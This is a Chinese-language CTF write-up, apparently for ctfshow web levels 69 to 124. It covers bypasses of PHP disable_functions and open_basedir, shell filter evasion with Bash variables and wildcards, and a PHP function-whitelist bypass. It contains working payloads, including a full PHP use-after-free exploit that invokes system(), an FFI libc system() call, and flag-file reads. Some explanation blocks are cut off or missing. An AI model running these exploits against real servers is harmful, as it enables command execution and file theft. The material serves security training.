1 2 3 4 c=include ('/flag.txt' ); c=include_once ('/flag.txt' ); c=require ('/flag.txt' ); c=require_once ('/flag.txt' );
这里说一下,include
和 require
其实不是函数,而是PHP的语句。因此 PHP 是无法禁用该语句的。
web70 函数禁用-7 访问页面,如下:
按照上一题的代码,本题应该也是传入参数c,这里我们先进行个目录列出:
1 c=foreach (scandir ('/' ) as $file ) {echo $file . "<br/>" ;};
当然这里也可以使用 PHP的内置类DirectoryIterator 进行目录的列出:
1 c=$a =new DirectoryIterator ('glob:///*' );foreach ($a as $f ){echo ($f ->__toString ()." " );}
PAYLOAD 同上一关。
web71 函数禁用-8 访问网站出现如下页面:
可以通过附件地址下载网页的源码,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );ini_set ('display_errors' , 0 );if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s ); }else { highlight_file (__FILE__ ); } ?>
这里出现了陌生的函数 ob_get_contents
和 ob_end_clean();
,我们查官方文档可知:
ob_get_contents
返回输出缓冲区的内容
ob_end_clean
清理(擦除)输出缓冲区并关闭输出缓冲
那么,这里我们大概知道了,当我们传入 `` 的时候,由于会先执行 ob_get_contents
函数,这里会将缓冲区(待输出)的内容赋值给了 $s
变量,接着执行 ob_end_clean
清空一切待打印输出的内容。因此在该函数之前缓冲区中没有任何需要打印的内容了。
由于将缓冲区的内容提前赋值给了 $s
变量,所以这里他又使用 preg_replace
函数匹配 字母、数字 将其替换为 ?
。因此传入如下 PAYLOAD,网页会显示如下内容:
对字母和数字都替换为了问号。
由于我们传入的内容,作为了 eval
函数的参数,因此我们可以在 原本PAYLOAD 的结尾加上 exit()
表示退出程序,ob_get_contents
和 之后的代码都不会执行到。
PAYLOAD:
1 c=var_export (scandir ('/' ));exit ();
1 c=include ('/flag.txt' );exit ();
web72 函数禁用-9 附件源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );ini_set ('display_errors' , 0 );if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s ); }else { highlight_file (__FILE__ ); } ?>
尝试使用上一题的 PAYLOAD 进行列出目录:
1 c=var_export (scandir ("/" ));exit ();
发现这里有 open_basedir
的限制,因此这里无法列出根目录下的内容,不过这里可以使用 PHP 的内置类 DirectoryIterator
进行列出。
1 c=$a =new DirectoryIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().' ' );};exit ();
尝试使用 include
去引入根目录下的 flag0.txt
文件的内容,但是由于存在 open_basedir
的限制,故而不能使用该方法。
open_basedir 的作用:
open_basedir
可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径,也可用符号.
来代表当前目录。注意用open_basedir
指定的限制实际上是前缀,而不是目录名。
举例来说:
若open_basedir = /var/www/html
, 那么目录 /var/www/html
和 /var/www/html666
都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。例如设置成: open_basedir = /var/www/html/
,这个就表示 只能访问 /var/www/html/
目录下的内容。
open_basedir
也可以同时设置多个目录, 在Windows中用分号 分隔目录,在任何其它系统中用冒号 分隔目录。
这里需要使用 UFA 绕过 open_basedir
,PAYLOAD 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 function ctfshow ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= sprintf ("%c" ,($ptr & 0xff )); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = sprintf ("%c" ,($v & 0xff )); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); } ctfshow ("cat /flag0.txt" );ob_end_flush ();
我们将其进行 URL 编码之后 传给服务器,即可得到FLAG:
web73 函数禁用-10 源码同上,这里使用上一题的 PAYLOAD 进行做题,由于禁用了 strlen
函数,然而 PYALOAD 中使用了 strlen
函数,故而报错。
先列出根目录下的内容:
1 c=$a =new DirectoryIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().' ' );};exit ();
发现根目录存在 flagc.txt
文件。
这里直接尝试使用 include
读取函数读取:
1 c=include ('/flagc.txt' );exit ();
我们上一题 PAYLOAD 不能使用的原因是,服务器禁用了我们使用 strlen
函数,因此这里我们只需要重写 strlen
函数的功能即可,修改后的源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 function ctfshow ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } function strlen_user ($s ) { $ret =0 ; for ($i =0 ;$i <1000000 ;$i ++) { if ($s [$i ]) { $ret =$ret +1 ; } else { break ; } } return $ret ; } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= sprintf ("%c" ,($ptr & 0xff )); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = sprintf ("%c" ,($v & 0xff )); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen_user ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen_user ($abc ) == 79 || strlen_user ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); } ctfshow ("cat /flagc.txt" );ob_end_flush ();
同样对以上内容进行 URL 编码发送:
但是这里不知道什么原因,服务器返回了502…
web74 函数禁用-11 源码同上:
这里使用 PHP 的内置类,遍历出根目录下的内容,由于 scandir
函数被禁用,故而不能使用该函数。
1 c=$a =new DirectoryIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().' ' );};exit ();
PAYLOAD:
1 c=include ('/flagx.txt' );exit ();
web75-76 函数禁用-12 这里也是函数禁用,源码都一样。
首先使用 PHP 内置类,列出根目录下的文件:
1 c=$a =new DirectoryIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().' ' );};exit ();
发现根目录下存在文件 flag36.txt
,这里使用 include
进行包含读取:
1 c=include ('/flag36.txt' );exit ();
发现存在 open_basedir
的限制,由于这里了禁用了 PHP 的内置函数 strlen
,所以我们这里需要重写 strlen
函数的功能,但是发送之后,服务器报502。
这里是使用服务器的 MYSQL 的 load_file 函数进行读取本地文件,PAYLOAD 如下:
1 2 3 4 c=try {$dbh = new PDO ('mysql:host=localhost;dbname=ctftraining' , 'root' , 'root' );foreach ($dbh ->query ('select load_file("/flag36.txt")' ) as $row ){echo ($row [0 ])."|" ; }$dbh = null ;}catch (PDOException $e ) {echo $e - >getMessage ();exit (0 );}exit (0 );
web77 函数禁用-13 同样是先试用PHP内置类获取根目录下的内容:
1 c=$a =new DirectoryIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().' ' );};exit ();
发现存在 flagx.txt
,同时存在readflag
这里尝试使用上一题的MYSQL直接读取flag文件:
发现提示 could not find driver 。(找不到驱动程序),通过服务器响应的字段来看,得知服务器的PHP版本为 PHP/7.4.9
在 PHP7.4 支持一个全新的扩展 FEI
,该扩展提供了高级语言之间的相互调用,而对于PHP来说,FFI让我们可以方便的调用C语言写的各种库。
PAYLOAD如下:
1 c=$ffi =FFI::cdef ("int system(char *command);" , "libc.so.6" );$a ='/readflag > 1.txt' ;$ffi ->system ($a );exit ();
解析如下:
1 2 3 $ffi =FFI::cdef ("int system(char *command);" , "libc.so.6" );$a ='/readflag > 1.txt' ;$ffi ->system ($a );
大概意思就是通过调用C语言的 libc.so.6
库去创建 system
对象,接着利用该对象执行系统的命令。但是这里system
对象并不回显命令的执行结果,因此需要将 readflag
读取的内容重定向到当前目录下的 1.txt 文件中,最后访问该文件,即可得到FLAG。
web118 利用PATH读取文件 访问网站,出现如下页面:
右键查看源代码,发现提示信息:
尝试在输入框内输入任意命令、以及数字发现都提示 evil input
:
这里尝试输入 Linux 中的变量 ${IFS}
发现并没有任何回显,也就是说,可以使用 ${}
以及大写字母 也是可以用的。
经过 Fuzz 之后发现可以使用 大写字母-AZ
以及 ${}~.?:
在 Linux 中存在一个内置变量 PWD
,该变量的值为当前路径:
Linux 中的 PATH
变量为环境变量的路径:
1 2 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
同时在 Linux 中也可以对变量的值进行截取:
这里我们可以通过 PATH
变量的值,进行截取,构造出字符串 nl
,首先看 Linux 变量 PATH 默认的值,发现最后一个值是 n
,如果我们想要构造出nl命令,需要获取该值。
1 2 3 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
但是由于这里过滤了数字,因此不能使用 数字 0
,因此可以使用 大写的字母代替:
此时 n
就得到了,但是 l
该怎么获取呢,我们使用 PWD
变量即可获取,一般情况下,网站根目录为 /var/www/html
,我们使用 PWD
获取最后一个值,即可得到 l
。
页面提示 flag in flag.php
最后构造:
1 ${PATH:~A} ${PWD:~B} $IFS ????.???
其他方法:
SHLVL
是记录多个 Bash
进程实例嵌套深度的累加器,进程第一次打开 SHELL 时 ${SHLVL}=1
,然后在此 shell 中再打开一个 SHELL 时 ${SHLVL}=2
。
${PWD:$
来替代数字,截取想要的字符串:
1 2 3 ${PATH:${#HOME} :${#SHLVL} } ${PATH:${#RANDOM} :${#SHLVL} } ?${PATH:${#RANDOM} :${#SHLVL} } ??.???
web119 利用内置变量+通配符的文件读取-1 本道题基本同上,但是禁用了 ${PATH}
。
PAYLOAD:
1 ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
释义:
1 2 3 ${HOME:${ ${PWD:${Z}:${ /bin/cat flag.php
web120 利用内置变量+通配符的文件读取-2 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
通过代码审计发现这里过滤了 \x09
、\x0a
、字母 a-z
、数字 0-9
、PATH
、BASH
、HOME
、/
、(
、)
、[
、]
、\\
、+
、-
、!
、=
、^
、*
、\x26
、%
、<
、>
、单引号
、双引号
、反引号
、|
、逗号
。
但是这里并没有过滤 大写字母A-Z
、$
、?
、*
、空格
。
PAYLOAD:
1 code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
释义:
web121 利用内置变量+通配符的文件读取-3 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
这里过滤了大量字符,并且 PAYLOAD 的长度不能大于65个字符。
PAYLOAD1:
1 2 code=${PWD::${#?} } ???${PWD::${#?} } ${PWD:${#IFS} :${#?} } ?? ????.???
rev 命令将文件中的每行内容以字符为单位反序输出 ,因此得到的 FLAG 是反序的。
这里在本地 Linux 环境使用 rev 命令反过来即可:
PAYLOAD2:由于有随机数,需要多试几次
1 2 code=${PWD:${#} :${##} } ???${PWD:${#} :${##} } ?????${#RANDOM} ????.???
web122 web121 利用内置变量+通配符的文件读取-4 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
本道题比上一题多过滤了一些字符,由于过滤了 #
无法使用上一题的PAYLOAD。
PAYLOAD:
通过 $?
来实现的,$?
是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
1 code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
这里由于使用了 RANDOM
随机数变量,因此需要多刷新几次,我这里直接使用了 BP 的 Intrude 模块:
web124 代码审计 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
题目分析 这里需要对源码进行代码审计,逐段进行分析:
1 2 3 4 5 6 7 8 <?php $content = $_GET ['c' ];if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } ?>
通过以上代码得到第一个条件:参数c的值长度不能大于80个字符。
1 2 3 4 5 6 7 8 9 $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } }
通过以上代码得到第二个条件:参数c的值不能带有 空格、TAB键、换行符、单引号、双引号、反引号、左中括号、右中括号。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } ?>
preg_match_all
参数
说明
pattern
执行的正则表达式
subject
执行操作的字符串
matches
多维数组中所有匹配项的数组。(其实就是将匹配到的值,放入到一个多维数组中)。
函数示例:
1 2 3 4 5 <?php $str1 = 'hello world my name is x1ong' ;preg_match_all ("/hello|world|name|x1ong/" , $str1 , $arr );print_r ($arr );?>
输出结果:
通过以上代码得到第三个条件:使用的函数必须在 $whitelist
数组中所定义。
条件总结如下:
参数c的值长度不能大于80 个字符
参数c的值不能带有 空格、TAB键、换行符、单引号、双引号、反引号、左中括号、右中括号。
使用的函数必须在 $whitelist
列表中所定义。
知识了解 函数知识 base_convert
在任意基数之间转换数字
参数
说明
num
必需。规定要转换的数。
frombase
必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase
必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
在36进制中是包含a-z、0-9的,我们通过以上网站进行转换,尝试构造出 hex2bin
:
https://tool.oschina.net/hexconvert
32进制 hex2bin
得到的十进制为:37907361743
,我们这里使用 base_convert
函数进行转换,即可得到hex2bin
。
代码示例:
1 2 <?php echo base_convert (37907361743 ,10 ,36 );
dechex
将十进制转为十六进制
代码示例:
PHP7特性了解 特性一:函数其他的调用方式
在PHP7版本中,函数的调用以及传参可以使用如下方法:
1 2 3 4 5 6 <?php system ('whoami' );('system' )('whoami' ); ?>
在上图中可以看到,两者均可实现相同的功能。
特性二:动态变量调用
代码如下:
1 2 3 <?php $a = '_GET' ;var_dump ($$a );
可以发现,当我们构造出字符串 GET
、然后将其赋值给变量 $a
,接在在使用$a
变量的时候,在其前面加上$
,即$$a
,即可实现 $_GET
的效果。
再看第二个图片:
可以看到,我们在PHP中可以使用 $$a{name}
接收通过 GET 请求传入的 name
参数,但是前提 $a
变量的值为GET
。
题解 PAYLOAD:
1 ?c=$pi =base_convert (37907361743 ,10 ,36 )(dechex (1598506324 ));$$pi {abs}($$pi {acos})&abs=system&acos=cat flag.php
释义:
1 2 3 4 5 6 $pi =base_convert (37907361743 ,10 ,36 ) $pi =base_convert (37907361743 ,10 ,36 )(dechex (1598506324 )); $$pi {abs} $$pi {abs}($$pi {acos})
最终被带入题目中的 eval
函数中,因此字符串可以直接解析为PHP代码执行,实际执行的内容如下:
最终达到命令的执行。